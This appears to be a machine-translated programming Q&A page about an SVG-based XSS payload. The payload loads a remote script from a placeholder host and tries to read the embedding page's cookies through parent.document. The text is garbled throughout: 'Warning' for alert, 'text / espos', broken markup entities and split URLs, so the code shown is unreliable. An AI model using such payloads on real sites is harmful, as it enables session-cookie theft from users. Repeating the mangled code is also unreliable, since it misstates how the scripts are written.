security - How I can get parent document object From SVG document JavaScript? -

I'm studying XSS I knew that there is vulnerability about the HTML SVG object

The source is here

  & lt; Svg xmlns: svg = "http://www.w3.org/2000/ Svg" xmlns = "http://www.w3.org/2000/svg" xmlns: xlink = "http: // www. W3.org/1999/xlink "version =" 1.0 "x =" 0 "y =" 0 "width =" 0 "height =" 0 "id =" xss "& gt; & Lt; Script type = "text / espos" xlink: href = "http://blahblahblah.com/~blah/xss/xss js" & gt; & Lt; / Script & gt; & Lt; / Svg & gt;   
 I tried to do it in xss.js  
  Warning (document.cookie);   
 But the value of the cookie was "undefined"  
 The SVG object is a document object, but it is different from the HTML document object.  
 Then, how do I get parental document objects for cookies?  
 Please help.  
 Thanks for reading.   
 
 
 is an interface and an interface, both of which are derived from a base interface that provide some common methods Does. Cookies are part of the HTMLDocument interface and therefore only HTML documents receive cookies.  
 If you are talking about a situation where  & lt; Svg & gt;  In an HTML document  & lt; Object & gt; ,  & lt; Embed & gt;  or  & lt; Iframe & gt;  tag then  parent.document  or  top.document  will receive the parent HTML document from a script in the SVG object, provided the SVG and HTML documents are on the same domain. .  
 This works for me at least Firefox ...  
    
 simultaneously embedded SVG  
  & lt; Svg xmlns = "http://www.w3.org/2000/svg" & gt; & Lt; Rect x = "0" y = "0" width = "100%" height = "100%" fill = "blue" /> & Lt; Script & gt; Warning (parent.document); & Lt; / Script & gt; & Lt; / Svg & gt;